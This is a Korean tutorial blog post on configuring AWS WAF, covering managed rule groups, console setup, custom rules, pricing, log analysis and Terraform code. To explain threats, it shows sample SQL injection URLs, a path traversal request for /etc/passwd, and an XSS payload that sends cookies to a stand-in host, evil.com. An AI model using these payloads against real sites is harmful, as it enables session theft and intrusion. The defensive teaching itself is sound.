Ver3.5 전체 열람

Ver3.5 🛡️ AWS WAF로 웹 공격 차단하기 — 내 서비스를 지키는 클라우드 방패 완전 정복

2026.05.06

재능넷

댓글 0 전체 44 페이지

☁️ 클라우드 / DevOps

🛡️ AWS WAF로 웹 공격 차단하기 — 내 서비스를 지키는 클라우드 방패 완전 정복

SQL Injection부터 DDoS까지, AWS WAF 하나로 막아버리는 실전 가이드 🔥

야, 솔직히 말해봐. 🤔 서비스 하나 열심히 만들어서 배포했는데 갑자기 서버가 뻗거나, 데이터베이스가 털리거나, 이상한 봇들이 우르르 몰려오는 경험 해본 적 있어? 아니면 아직 없어서 다행이라고 생각하고 있어?

웹 서비스를 운영한다는 건 그냥 코드 짜고 배포하는 게 끝이 아니야. 인터넷에 서비스를 올리는 순간, 전 세계 해커들과 봇들의 레이더에 잡히는 거거든. 무섭지? 근데 너무 걱정하지 마. AWS에는 WAF(Web Application Firewall)라는 든든한 방패가 있으니까! 🛡️

오늘은 AWS WAF가 뭔지, 어떻게 설정하는지, 실제로 어떤 공격을 막을 수 있는지 — 처음 접하는 사람도 이해할 수 있게 친구처럼 쉽고 재미있게 설명해줄게. 끝까지 읽으면 진짜로 AWS WAF 설정할 수 있을 거야. 가보자고! 🚀

🤔 WAF가 뭔데? 일반 방화벽이랑 다른 거야?

먼저 개념부터 잡고 가자. WAF는 Web Application Firewall의 약자야. 이름에서 알 수 있듯이 웹 애플리케이션을 위한 방화벽이야.

근데 여기서 "방화벽이면 그냥 방화벽이지, 왜 웹 전용이 따로 있어?" 라고 물어볼 수 있잖아. 좋은 질문이야! 🙌

일반 방화벽 vs WAF — 뭐가 다를까?

구분	일반 방화벽 (Network Firewall)	WAF (Web Application Firewall)
동작 계층	OSI 3~4계층 (IP, TCP/UDP)	OSI 7계층 (HTTP/HTTPS)
검사 대상	IP 주소, 포트, 프로토콜	HTTP 헤더, URL, 쿼리 파라미터, 바디
차단 가능한 공격	포트 스캔, 네트워크 침입	SQL Injection, XSS, CSRF, 봇 등
한계	HTTP 80/443 포트는 열어야 해서 웹 공격 못 막음	네트워크 레벨 공격은 별도 처리 필요

쉽게 말하면 이래. 일반 방화벽은 "어떤 문으로 들어오냐"를 체크하는 거고, WAF는 "문으로 들어온 사람이 뭘 들고 왔냐"를 검사하는 거야. 웹 서비스는 HTTP(S) 포트를 무조건 열어야 하니까, 그 포트로 들어오는 악성 요청을 잡으려면 WAF가 필수인 거지!

💡 핵심 포인트
WAF는 HTTP 요청의 내용을 분석해서 악성 패턴을 탐지하고 차단해. SQL Injection처럼 정상적인 HTTP 포트(80/443)를 통해 들어오는 공격은 일반 방화벽으로는 절대 막을 수 없어. WAF가 반드시 필요한 이유야!

☁️ AWS WAF란 무엇인가 — 핵심 개념 정리

AWS WAF는 Amazon Web Services에서 제공하는 관리형 웹 애플리케이션 방화벽 서비스야. 2015년에 처음 출시됐고, 2019년에 WAF v2(현재 버전)로 대폭 업그레이드됐어.

AWS WAF의 가장 큰 장점은 서버리스(Serverless)라는 거야. 별도의 방화벽 서버를 운영할 필요 없이, AWS 인프라에 통합되어 자동으로 스케일링되면서 동작해. 트래픽이 폭발적으로 늘어나도 WAF가 알아서 처리해주는 거지. 👍

AWS WAF의 핵심 구성 요소

Web ACL (Web Access Control List)
WAF의 핵심 단위야. 여러 규칙(Rule)들을 묶어서 하나의 정책으로 만든 것. CloudFront, ALB, API Gateway 등에 연결해서 사용해. 각 Web ACL은 최대 1,500 WCU(WAF Capacity Units)를 가질 수 있어.

Rule (규칙)
실제로 트래픽을 검사하고 차단/허용하는 로직이야. 조건(Statement)과 액션(Action)으로 구성돼. 예를 들어 "SQL Injection 패턴이 있으면 → 차단(Block)" 이런 식이야.

Rule Group (규칙 그룹)
여러 Rule을 하나로 묶은 것. AWS에서 제공하는 관리형 규칙 그룹(Managed Rule Group)을 사용하거나, 직접 커스텀 규칙 그룹을 만들 수 있어.

IP Set
차단하거나 허용할 IP 주소 목록이야. IPv4, IPv6 모두 지원하고, CIDR 표기법도 사용 가능해.

Regex Pattern Set
정규표현식 패턴 목록이야. 특정 패턴을 가진 요청을 탐지할 때 사용해.

AWS WAF가 연동되는 서비스들

AWS WAF는 단독으로 동작하는 게 아니라, 다른 AWS 서비스와 연동해서 사용해. 연동 가능한 서비스들을 알아보자:

연동 서비스	설명	WAF 적용 위치
Amazon CloudFront	글로벌 CDN 서비스	엣지 로케이션에서 차단 (가장 빠름)
ALB (Application Load Balancer)	애플리케이션 로드밸런서	리전 레벨에서 차단
API Gateway	REST/HTTP API 관리	API 엔드포인트 보호
AWS App Runner	컨테이너 앱 실행 서비스	앱 레벨 보호
AWS Cognito User Pool	사용자 인증 서비스	인증 엔드포인트 보호
AWS AppSync	GraphQL API 서비스	GraphQL 엔드포인트 보호

🔥 AWS WAF가 막을 수 있는 주요 공격 유형

자, 이제 실전이야. AWS WAF가 실제로 어떤 공격들을 막을 수 있는지 알아보자. 이걸 알아야 나중에 규칙 설정할 때 뭘 켜야 할지 알 수 있거든!

💉 SQL Injection (SQLi)

가장 고전적이면서도 여전히 위험한 공격이야. 웹 폼이나 URL 파라미터에 SQL 코드를 삽입해서 데이터베이스를 조작하는 거야.

⚠️ 공격 예시
https://example.com/user?id=1 OR 1=1 --

https://example.com/login?user=admin'--&pass=anything

이런 요청이 들어오면 데이터베이스에서 모든 사용자 정보가 유출될 수 있어!

AWS WAF의 AWSManagedRulesSQLiRuleSet을 활성화하면 이런 패턴을 자동으로 탐지하고 차단해줘.

🕷️ Cross-Site Scripting (XSS)

악성 스크립트를 웹 페이지에 삽입해서 다른 사용자의 브라우저에서 실행시키는 공격이야. 쿠키 탈취, 세션 하이재킹 등에 사용돼.

⚠️ 공격 예시

https://example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>

이런 URL을 다른 사용자에게 클릭하게 만들면 쿠키가 탈취돼!

AWSManagedRulesKnownBadInputsRuleSet과 커스텀 XSS 규칙으로 막을 수 있어.

🤖 봇 트래픽 & DDoS

자동화된 봇들이 대량의 요청을 보내서 서버를 마비시키거나, 크리덴셜 스터핑(Credential Stuffing) 공격을 하는 거야. AWS WAF의 Rate-based Rule로 특정 IP에서 일정 시간 내 요청 수를 제한할 수 있어.

💡 Rate-based Rule 예시 "동일 IP에서 5분 내 2,000건 이상 요청이 오면 자동 차단" — 이런 규칙 하나로 기본적인 DDoS 방어가 가능해!

📁 Path Traversal (경로 탐색 공격)

URL에 ../ 같은 경로 탐색 문자를 삽입해서 서버의 민감한 파일에 접근하려는 공격이야.

⚠️ 공격 예시

https://example.com/files?name=../../../../etc/passwd

서버의 패스워드 파일에 접근하려는 시도야!

🌍 지역 기반 차단 (Geo Restriction)

서비스를 특정 국가에서만 운영한다면, 다른 국가의 트래픽을 아예 차단할 수 있어. 예를 들어 한국 서비스인데 동유럽이나 특정 국가에서 공격이 많이 온다면 해당 국가 IP를 통째로 차단하는 거야.

🔑 크리덴셜 스터핑 & 브루트 포스

로그인 페이지에 수천 개의 아이디/패스워드 조합을 자동으로 시도하는 공격이야. Rate-based Rule과 AWS WAF Bot Control 기능으로 막을 수 있어.

📦 AWS 관리형 규칙 그룹 — 이것만 알면 반은 먹고 들어가

AWS WAF의 가장 강력한 기능 중 하나가 바로 관리형 규칙 그룹(Managed Rule Group)이야. AWS가 직접 관리하고 업데이트하는 규칙 세트들인데, 보안 전문가가 아니어도 쉽게 적용할 수 있어. 😎

AWS 무료 관리형 규칙 그룹

아래 규칙들은 추가 비용 없이 사용할 수 있어! (WAF 기본 요금만 내면 돼)

규칙 그룹 이름	설명	WCU
AWSManagedRulesCommonRuleSet	OWASP Top 10 기반 일반적인 웹 공격 차단. 가장 기본적인 규칙 세트야. 대부분의 서비스에 필수!	700
AWSManagedRulesAdminProtectionRuleSet	관리자 페이지(/admin, /wp-admin 등) 외부 접근 차단	100
AWSManagedRulesKnownBadInputsRuleSet	알려진 악성 입력 패턴 차단 (Log4j 취약점 포함!)	200
AWSManagedRulesSQLiRuleSet	SQL Injection 공격 차단	200
AWSManagedRulesLinuxRuleSet	Linux 서버 대상 공격 차단 (경로 탐색 등)	200
AWSManagedRulesUnixRuleSet	Unix/Linux 특화 공격 패턴 차단	100
AWSManagedRulesWindowsRuleSet	Windows 서버 대상 공격 차단 (PowerShell 인젝션 등)	200
AWSManagedRulesPHPRuleSet	PHP 애플리케이션 대상 공격 차단	100
AWSManagedRulesWordPressRuleSet	WordPress 취약점 공격 차단	100
AWSManagedRulesAmazonIpReputationList	Amazon이 관리하는 악성 IP 목록 차단 (봇, 해커 IP 등)	25
AWSManagedRulesAnonymousIpList	VPN, Tor, 프록시 등 익명 IP 차단	50

💡 팁: Web ACL의 WCU 한도는 1,500이야. 위 규칙들을 다 켜면 WCU를 초과할 수 있으니, 서비스 특성에 맞게 선택해서 적용해야 해. 가장 기본적으로는 CommonRuleSet + SQLiRuleSet + AmazonIpReputationList 조합을 추천해!

유료 관리형 규칙 그룹 (AWS Marketplace)

AWS Marketplace에서는 보안 전문 업체들이 제공하는 유료 규칙 그룹도 있어. Fortinet, F5, Imperva 같은 보안 전문 업체들이 더 정교한 규칙을 제공해. 엔터프라이즈 레벨의 보안이 필요하다면 고려해볼 만해.

그리고 AWS WAF Bot Control이라는 유료 기능도 있는데, 이건 봇 트래픽을 더 정교하게 분석하고 차단해줘. 일반 봇, 검색 엔진 봇, 악성 봇을 구분해서 처리할 수 있어.

🛠️ AWS WAF 실제 설정하기 — 단계별 가이드

자, 이제 진짜 실전이야! AWS 콘솔에서 WAF를 설정하는 방법을 단계별로 알아보자. CloudFront에 WAF를 연결하는 시나리오로 설명할게.

⚠️ 주의사항 CloudFront에 WAF를 연결할 때는 반드시 us-east-1 (버지니아 북부) 리전에서 Web ACL을 생성해야 해! CloudFront는 글로벌 서비스라서 us-east-1에서만 연동이 가능해. ALB에 연결할 때는 해당 ALB가 있는 리전에서 생성하면 돼.

Step 1: Web ACL 생성

AWS 콘솔 → WAF & Shield → Web ACLs → Create web ACL 클릭

Resource type 선택:
- CloudFront distributions → us-east-1 리전 자동 선택
- Regional resources (ALB, API Gateway 등) → 해당 리전 선택

Name에 Web ACL 이름 입력 (예: my-service-waf)
CloudWatch metric name은 자동 생성되거나 직접 입력

Associated AWS resources에서 보호할 리소스 선택 (CloudFront 배포, ALB 등)

Step 2: 규칙 추가

Add rules → Add managed rule groups 클릭

AWS managed rule groups 섹션에서 원하는 규칙 그룹 토글 ON
추천 조합: CommonRuleSet + SQLiRuleSet + KnownBadInputsRuleSet + AmazonIpReputationList

각 규칙 그룹의 Edit를 클릭하면 개별 규칙을 Count 모드로 변경하거나 특정 규칙을 제외할 수 있어. 처음에는 Count 모드로 시작해서 로그를 확인한 후 Block으로 전환하는 걸 추천해!

Step 3: Rate-based Rule 추가 (DDoS 방어)

Add rules → Add my own rules and rule groups → Rule builder 선택

Rule type: Rate-based rule 선택
Name: RateLimitRule
Rate limit: 2000 (5분 내 2,000 요청 초과 시 차단)
IP address to use: Source IP address

Action: Block 선택 → Add rule 클릭

Step 4: 규칙 우선순위 설정

규칙들은 우선순위(Priority) 순서대로 실행돼. 숫자가 낮을수록 먼저 실행되고, 첫 번째로 매칭된 규칙의 액션이 적용돼. 일반적으로 이런 순서를 추천해:

우선순위	규칙	이유
1	IP 허용 목록 (Allow)	신뢰할 수 있는 IP는 다른 규칙 검사 없이 통과
2	IP 차단 목록 (Block)	알려진 악성 IP 즉시 차단
3	Rate-based Rule	DDoS 트래픽 조기 차단
4	AmazonIpReputationList	AWS 악성 IP 목록 차단
5	CommonRuleSet	일반적인 웹 공격 차단
6	SQLiRuleSet	SQL Injection 차단
7	KnownBadInputsRuleSet	알려진 악성 입력 차단

Step 5: 기본 액션 설정

모든 규칙에 매칭되지 않은 요청에 대한 기본 액션을 설정해. 일반적으로 Allow로 설정해 (정상 트래픽은 통과시켜야 하니까). 만약 화이트리스트 방식으로 운영하고 싶다면 Block으로 설정하고 허용 규칙만 추가하는 방식도 있어.

Step 6: 로깅 설정 (매우 중요!)

WAF 로그를 활성화해야 어떤 요청이 차단됐는지 확인할 수 있어. 로그는 Amazon Kinesis Data Firehose를 통해 S3에 저장하거나, CloudWatch Logs에 직접 저장할 수 있어.

💡 로깅 설정 방법 Web ACL → Logging and metrics 탭 → Enable logging
Logging destination: CloudWatch Logs 또는 S3 선택
로그 필터링: 차단된 요청만 로깅하거나 전체 로깅 선택 가능

⚙️ 커스텀 규칙 만들기 — 내 서비스에 딱 맞는 규칙 작성법

관리형 규칙으로 기본 방어는 됐어. 근데 내 서비스에 특화된 규칙이 필요할 때도 있잖아. 예를 들어 특정 User-Agent를 차단하거나, 특정 경로에 대한 접근을 제한하거나. 이럴 때 커스텀 규칙을 만들면 돼!

커스텀 규칙의 구성 요소

커스텀 규칙은 크게 두 부분으로 구성돼:

구성 요소	설명	예시
Statement (조건)	어떤 요청을 탐지할지 정의	URI에 '/admin' 포함, 특정 IP 범위, 헤더 값 등
Action (액션)	조건 매칭 시 어떤 동작을 할지	Block, Allow, Count, CAPTCHA, Challenge

Statement 유형들

Statement 유형	설명
IP set match	특정 IP 또는 IP 범위 매칭
Geographic match	특정 국가/지역 매칭
String match	요청의 특정 부분에 문자열 포함 여부
Regex match	정규표현식 패턴 매칭
Size constraint	요청 크기 제한 (예: 바디 크기 10MB 초과 차단)
SQL injection match	SQL Injection 패턴 탐지
XSS match	XSS 패턴 탐지
Label match	다른 규칙이 붙인 레이블 매칭
AND/OR/NOT 논리 연산	여러 조건을 조합

실전 커스텀 규칙 예시들

예시 1: 관리자 페이지 IP 제한

목표: /admin 경로는 회사 IP에서만 접근 허용

규칙 1 (Allow, 우선순위 높음):
- AND 조건:
- URI path starts with: /admin
- IP set match: 회사 IP 목록
- Action: Allow

규칙 2 (Block, 우선순위 낮음):
- URI path starts with: /admin
- Action: Block

예시 2: 특정 User-Agent 차단

목표: 알려진 스캐너 도구 차단 (sqlmap, nikto 등)

- String match
- Inspect: Single header → user-agent
- Match type: Contains string
- String to match: sqlmap
- Action: Block

예시 3: 대용량 요청 차단

목표: 10MB 이상의 요청 바디 차단 (파일 업로드 공격 방지)

- Size constraint
- Inspect: Body
- Comparison: Greater than
- Size: 10485760 (10MB in bytes)
- Action: Block

예시 4: 특정 국가 차단

목표: 서비스 대상 국가 외 접근 차단

- Geographic match
- Country codes: 차단할 국가 코드 선택 (예: KP, RU 등)
- Action: Block

💰 AWS WAF 요금 구조 — 얼마나 드는 거야?

보안은 중요하지만 비용도 무시할 수 없잖아. AWS WAF의 요금 구조를 명확하게 알아보자. (2024년 기준, 리전별로 약간 차이 있을 수 있어)

항목	요금	설명
Web ACL	$5.00/월	Web ACL 하나당 월 $5
Rule	$1.00/월	Web ACL에 추가된 규칙 하나당 월 $1
요청 처리	$0.60/100만 요청	WAF를 통과하는 요청 수 기준
Bot Control (기본)	$10.00/월 + $1.00/100만 요청	봇 탐지 기능 (선택 사항)
Bot Control (고급)	$30.00/월 + $1.00/100만 요청	고급 봇 탐지 (선택 사항)
Fraud Control	$10.00/월 + $1.00/100만 요청	계정 탈취 방지 (선택 사항)

💡 비용 계산 예시 Web ACL 1개 + 규칙 5개 + 월 1,000만 요청 기준:
- Web ACL: $5.00
- Rules: $5.00 (5개 × $1)
- 요청: $6.00 (1,000만 × $0.60/100만)
총 월 약 $16 (약 2만원 초반)

관리형 규칙 그룹은 무료이고, 규칙 그룹 자체는 1개의 규칙으로 카운트돼!

💡 비용 절감 팁: CloudFront에 WAF를 연결하면 CloudFront가 엣지에서 먼저 캐싱하기 때문에 실제 WAF를 통과하는 요청 수가 줄어들어. 캐시 히트율이 높을수록 WAF 비용도 줄어드는 거야!

🔍 WAF 로그 분석 & 모니터링 — 공격 현황 파악하기

WAF를 설정했다고 끝이 아니야. 실제로 어떤 공격이 들어오고 있는지, 정상 트래픽이 잘못 차단되고 있지는 않은지 꾸준히 모니터링해야 해. 이게 진짜 운영이야! 👀

CloudWatch 메트릭 활용

AWS WAF는 자동으로 CloudWatch 메트릭을 생성해. 주요 메트릭들:

메트릭	설명
AllowedRequests	허용된 요청 수
BlockedRequests	차단된 요청 수
CountedRequests	Count 액션으로 카운트된 요청 수
PassedRequests	규칙을 통과한 요청 수

CloudWatch 대시보드에 이 메트릭들을 추가하면 실시간으로 공격 현황을 볼 수 있어. 차단 요청이 갑자기 급증하면 알람을 설정해서 즉시 알림을 받을 수도 있고!

WAF 로그 분석 — Athena 활용

WAF 로그를 S3에 저장하고 Amazon Athena로 SQL 쿼리를 날리면 강력한 분석이 가능해.

-- 가장 많이 차단된 IP Top 10
SELECT httprequest.clientip, COUNT(*) as block_count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY httprequest.clientip
ORDER BY block_count DESC
LIMIT 10;

-- 어떤 규칙에 가장 많이 걸렸는지
SELECT terminatingruleid, COUNT(*) as count
FROM waf_logs
WHERE action = 'BLOCK'
GROUP BY terminatingruleid
ORDER BY count DESC;

-- 특정 시간대 공격 패턴 분석
SELECT DATE_FORMAT(FROM_UNIXTIME(timestamp/1000), '%Y-%m-%d %H:00') as hour,
       COUNT(*) as requests,
       SUM(CASE WHEN action = 'BLOCK' THEN 1 ELSE 0 END) as blocked
FROM waf_logs
GROUP BY 1
ORDER BY 1;

False Positive 처리 — 정상 트래픽이 차단될 때

WAF를 처음 설정하면 정상적인 요청이 차단되는 False Positive 문제가 생길 수 있어. 예를 들어 정상적인 검색 쿼리가 SQL Injection으로 오탐되거나, 특정 API 요청이 차단되는 경우야.

⚠️ False Positive 해결 방법 1. Count 모드로 먼저 테스트: 새 규칙은 Block 대신 Count로 설정해서 어떤 요청이 걸리는지 먼저 확인

2. 규칙 제외(Exclude Rule): 관리형 규칙 그룹에서 특정 규칙만 비활성화 가능

3. Scope-down Statement: 특정 경로나 조건에서만 규칙 적용

4. IP 허용 목록: 신뢰할 수 있는 IP는 WAF 검사 없이 통과시키기

🏗️ Infrastructure as Code — Terraform으로 WAF 관리하기

DevOps 관점에서 WAF 설정을 코드로 관리하는 게 훨씬 좋아. 버전 관리도 되고, 재현 가능하고, 팀원들과 공유하기도 쉽거든. Terraform으로 AWS WAF를 설정하는 예시를 보여줄게!

재능넷에서도 Terraform이나 AWS 인프라 관련 재능을 가진 전문가들을 찾아볼 수 있는데, 이런 WAF 설정 자동화 작업을 의뢰하는 것도 좋은 방법이야. 🙌

# IP Set 생성 (차단할 IP 목록)
resource "aws_wafv2_ip_set" "blocked_ips" {
  name               = "blocked-ip-set"
  description        = "차단할 악성 IP 목록"
  scope              = "CLOUDFRONT"  # ALB면 REGIONAL
  ip_address_version = "IPV4"
  
  addresses = [
    "192.0.2.0/24",
    "198.51.100.0/24",
  ]
}

# Web ACL 생성
resource "aws_wafv2_web_acl" "main" {
  name        = "my-service-waf"
  description = "My Service WAF"
  scope       = "CLOUDFRONT"

  default_action {
    allow {}
  }

  # 규칙 1: 차단 IP 목록
  rule {
    name     = "BlockedIPRule"
    priority = 1

    action {
      block {}
    }

    statement {
      ip_set_reference_statement {
        arn = aws_wafv2_ip_set.blocked_ips.arn
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "BlockedIPRule"
      sampled_requests_enabled   = true
    }
  }

  # 규칙 2: Rate Limiting
  rule {
    name     = "RateLimitRule"
    priority = 2

    action {
      block {}
    }

    statement {
      rate_based_statement {
        limit              = 2000
        aggregate_key_type = "IP"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "RateLimitRule"
      sampled_requests_enabled   = true
    }
  }

  # 규칙 3: AWS 관리형 규칙 - Common Rule Set
  rule {
    name     = "AWSManagedRulesCommonRuleSet"
    priority = 3

    override_action {
      none {}  # 관리형 규칙의 기본 액션 사용
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesCommonRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "CommonRuleSet"
      sampled_requests_enabled   = true
    }
  }

  # 규칙 4: SQL Injection 방어
  rule {
    name     = "AWSManagedRulesSQLiRuleSet"
    priority = 4

    override_action {
      none {}
    }

    statement {
      managed_rule_group_statement {
        name        = "AWSManagedRulesSQLiRuleSet"
        vendor_name = "AWS"
      }
    }

    visibility_config {
      cloudwatch_metrics_enabled = true
      metric_name                = "SQLiRuleSet"
      sampled_requests_enabled   = true
    }
  }

  visibility_config {
    cloudwatch_metrics_enabled = true
    metric_name                = "MyServiceWAF"
    sampled_requests_enabled   = true
  }
}

# WAF 로깅 설정
resource "aws_wafv2_web_acl_logging_configuration" "main" {
  log_destination_configs = [aws_cloudwatch_log_group.waf_logs.arn]
  resource_arn            = aws_wafv2_web_acl.main.arn
}

resource "aws_cloudwatch_log_group" "waf_logs" {
  name              = "/aws/waf/my-service"
  retention_in_days = 30
}

💡 Terraform 팁: CloudFront에 WAF를 연결할 때는 Terraform provider를 us-east-1 리전으로 설정해야 해.

provider "aws" { alias = "us_east_1" region = "us-east-1" }

이런 식으로 별도 provider를 만들어서 사용해!

🎯 실전 시나리오별 WAF 설정 전략

서비스 유형에 따라 WAF 설정 전략이 달라져. 몇 가지 실전 시나리오를 살펴보자!

🛒 시나리오 1: 이커머스 서비스

주요 위협: 크리덴셜 스터핑, 재고 봇, 결제 사기, SQL Injection

추천 설정:
- CommonRuleSet + SQLiRuleSet 필수
- 로그인 페이지(/login, /signin)에 Rate Limiting 강화 (5분 내 100회)
- Bot Control 활성화 (재고 스크래핑 봇 차단)
- AmazonIpReputationList 활성화
- 결제 API 엔드포인트에 IP 허용 목록 적용

📱 시나리오 2: REST API 서비스

주요 위협: API 남용, DDoS, 인증 우회, 데이터 스크래핑

추천 설정:
- API Gateway에 WAF 연결
- Rate Limiting 엄격하게 설정 (엔드포인트별 다른 제한)
- API Key 없는 요청 차단 (커스텀 헤더 검사)
- 비정상적으로 큰 요청 바디 차단 (Size Constraint)
- 특정 User-Agent 패턴 차단

📝 시나리오 3: WordPress 블로그/CMS

주요 위협: wp-admin 무차별 대입, 플러그인 취약점, XML-RPC 공격

추천 설정:
- WordPressRuleSet 활성화
- AdminProtectionRuleSet 활성화
- /wp-admin, /wp-login.php 접근 IP 제한
- /xmlrpc.php 완전 차단
- 로그인 Rate Limiting (5분 내 10회)

🏢 시나리오 4: 기업 내부 시스템 (B2B)

주요 위협: 외부 접근, 데이터 유출, 내부자 위협

추천 설정:
- 회사 IP 범위만 허용하는 IP 허용 목록
- 해외 IP 전체 차단 (Geo Restriction)
- AnonymousIpList 활성화 (VPN/프록시 차단)
- 모든 요청 로깅 활성화 (감사 목적)
- 비업무 시간대 접근 모니터링

⚡ AWS WAF + Shield — 더 강력한 DDoS 방어

AWS WAF만으로도 기본적인 DDoS 방어가 되지만, 더 강력한 보호가 필요하다면 AWS Shield와 함께 사용하는 걸 고려해봐.

서비스	보호 수준	비용	특징
AWS Shield Standard	기본 DDoS 방어	무료	모든 AWS 고객에게 자동 적용. L3/L4 DDoS 방어
AWS Shield Advanced	고급 DDoS 방어	$3,000/월	L7 DDoS 방어, 24/7 DRT 팀 지원, 비용 보호, 실시간 가시성

💡 Shield Advanced의 핵심 혜택 - DDoS 비용 보호: DDoS 공격으로 인한 AWS 비용 급증 시 크레딧 제공
- DRT (DDoS Response Team): AWS 보안 전문가 팀이 24/7 대응 지원
- 자동 완화: 공격 패턴을 자동으로 감지하고 WAF 규칙 자동 생성
- 실시간 대시보드: 공격 현황을 실시간으로 시각화

대부분의 스타트업이나 중소 서비스는 Shield Standard(무료) + WAF 조합으로 충분해. Shield Advanced는 금융, 게임, 대형 이커머스처럼 DDoS 공격이 비즈니스에 직접적인 영향을 미치는 서비스에 적합해.

🚀 WAF 운영 베스트 프랙티스 — 이것만은 꼭 지켜!

AWS WAF를 잘 설정했다고 끝이 아니야. 장기적으로 잘 운영하기 위한 베스트 프랙티스들을 정리해줄게.

✅ 반드시 해야 할 것들

새 규칙은 Count 모드로 먼저 테스트
새로운 규칙을 바로 Block으로 설정하면 정상 트래픽이 차단될 수 있어. 최소 1~2주 Count 모드로 운영하면서 False Positive를 확인한 후 Block으로 전환해.

로깅 반드시 활성화
로그 없이는 뭐가 차단됐는지, 어떤 공격이 들어오는지 알 수 없어. S3 또는 CloudWatch Logs에 WAF 로그를 저장하고 정기적으로 분석해.

CloudWatch 알람 설정
차단 요청이 급증하면 즉시 알림을 받을 수 있도록 CloudWatch 알람을 설정해. SNS와 연동해서 Slack이나 이메일로 알림을 받을 수 있어.

정기적인 규칙 검토
새로운 취약점이 발견되면 AWS 관리형 규칙이 자동으로 업데이트되지만, 커스텀 규칙은 직접 관리해야 해. 분기별로 규칙 효과를 검토하고 불필요한 규칙은 제거해.

IaC로 관리
Terraform이나 AWS CloudFormation으로 WAF 설정을 코드화해서 버전 관리해. 실수로 규칙을 삭제해도 빠르게 복구할 수 있어.

WAF 우회 테스트
정기적으로 침투 테스트(Penetration Test)를 수행해서 WAF가 실제로 공격을 막는지 확인해. AWS에서는 사전 승인 없이 일부 테스트가 가능하지만, 대규모 테스트는 AWS에 사전 신청이 필요해.

❌ 하지 말아야 할 것들

⚠️ 흔한 실수들 - 처음부터 모든 규칙 Block으로 설정: False Positive로 서비스 장애 발생 가능
- 로깅 비활성화: 공격 분석 불가, 문제 발생 시 원인 파악 어려움
- WCU 한도 무시: 1,500 WCU 초과 시 규칙 추가 불가
- 규칙 우선순위 무시: 잘못된 순서로 규칙이 실행되어 의도치 않은 동작
- CloudFront WAF를 us-east-1 외 리전에 생성: 연동 불가
- WAF만 믿고 다른 보안 조치 소홀: WAF는 여러 보안 레이어 중 하나일 뿐

🔗 AWS WAF와 함께 쓰면 좋은 서비스들

AWS WAF는 단독으로도 강력하지만, 다른 AWS 보안 서비스들과 함께 사용하면 더욱 강력한 보안 체계를 구축할 수 있어!

서비스	역할	WAF와의 시너지
AWS Shield	DDoS 방어	L3/L4 DDoS는 Shield, L7 공격은 WAF가 담당
Amazon GuardDuty	위협 탐지 (ML 기반)	GuardDuty가 탐지한 악성 IP를 WAF IP Set에 자동 추가 가능
AWS Security Hub	보안 상태 통합 관리	WAF 로그를 Security Hub에서 통합 분석
Amazon CloudFront	CDN + 엣지 보안	엣지에서 WAF 실행으로 오리진 서버 부하 감소
AWS Lambda	서버리스 함수	WAF 로그 분석 → Lambda → IP Set 자동 업데이트
Amazon Cognito	사용자 인증	Cognito User Pool에 WAF 직접 연결 가능
AWS Firewall Manager	다중 계정 WAF 정책 관리	Organizations 전체에 WAF 정책 일괄 적용

💡 자동화 아이디어: GuardDuty + WAF 연동 GuardDuty가 악성 IP를 탐지하면 → EventBridge 이벤트 발생 → Lambda 함수 실행 → WAF IP Set에 자동으로 차단 IP 추가
이런 자동화 파이프라인을 구축하면 사람이 개입하지 않아도 실시간으로 위협에 대응할 수 있어! 🤖

📊 AWS WAF vs 다른 WAF 솔루션 비교

AWS WAF 말고도 다른 WAF 솔루션들이 있어. 어떤 게 내 상황에 맞는지 비교해보자.

솔루션	장점	단점	적합한 상황
AWS WAF	AWS 서비스와 완벽 통합, 관리 부담 없음, 자동 스케일링	AWS 종속성, 고급 기능은 추가 비용	AWS 인프라 사용 중인 모든 서비스
Cloudflare WAF	강력한 봇 방어, 글로벌 네트워크, 사용 편의성	AWS 외부 서비스, 추가 비용	멀티 클라우드, 강력한 봇 방어 필요 시
ModSecurity (오픈소스)	무료, 완전한 커스터마이징	직접 관리 필요, 전문 지식 필요	온프레미스, 비용 절감 필요 시
Imperva WAF	엔터프라이즈급 기능, 전문 지원	높은 비용	대기업, 규정 준수 요구사항 있을 때

AWS 인프라를 사용하고 있다면 AWS WAF가 가장 자연스러운 선택이야. 별도의 인프라 없이 클릭 몇 번으로 설정할 수 있고, AWS 서비스들과 완벽하게 통합되거든. 재능넷 같은 플랫폼 서비스도 AWS 기반이라면 WAF 도입을 강력 추천해! 🎯

🎓 마무리 — AWS WAF, 이제 두렵지 않아!

자, 여기까지 AWS WAF에 대해 정말 많은 걸 알아봤어. 처음엔 복잡해 보였지만, 핵심을 정리하면 이래:

🎯 AWS WAF 핵심 요약 1️⃣ WAF는 HTTP 레이어(L7)에서 동작하는 웹 전용 방화벽이야

2️⃣ Web ACL에 규칙들을 추가해서 CloudFront, ALB, API Gateway 등을 보호해

3️⃣ AWS 관리형 규칙 그룹을 활용하면 보안 전문가 없이도 강력한 방어 가능

4️⃣ Rate-based Rule로 DDoS와 봇 트래픽을 기본 방어할 수 있어

5️⃣ 처음엔 Count 모드로 테스트 후 Block으로 전환하는 게 안전해

6️⃣ 로깅 + 모니터링은 필수! 로그 없이는 운영이 불가능해

7️⃣ IaC(Terraform)로 관리하면 버전 관리와 재현성이 보장돼

웹 서비스를 운영한다면 WAF는 선택이 아니라 필수야. 특히 요즘처럼 자동화된 공격 도구들이 넘쳐나는 시대에는 더더욱. 월 $10~20 정도의 비용으로 서비스를 지킬 수 있다면 정말 저렴한 보험이잖아? 💪

AWS WAF 설정이 어렵거나 시간이 없다면, 클라우드/DevOps 전문가의 도움을 받는 것도 좋은 방법이야. 재능넷에서 AWS 보안 설정 전문가를 찾아보면 빠르게 도움을 받을 수 있을 거야. 보안은 미루면 미룰수록 리스크가 커지니까, 오늘 당장 시작해보자! 🚀

💡 시작하기 가장 쉬운 방법: AWS 콘솔 → WAF & Shield → Web ACLs → Create web ACL → AWS 관리형 규칙 그룹 추가 (CommonRuleSet + SQLiRuleSet + AmazonIpReputationList) → 기존 CloudFront 또는 ALB에 연결. 30분이면 기본 보호 완성! ⏱️

지식인의 숲 - 지적 재산권 보호 고지

지적 재산권 보호 고지

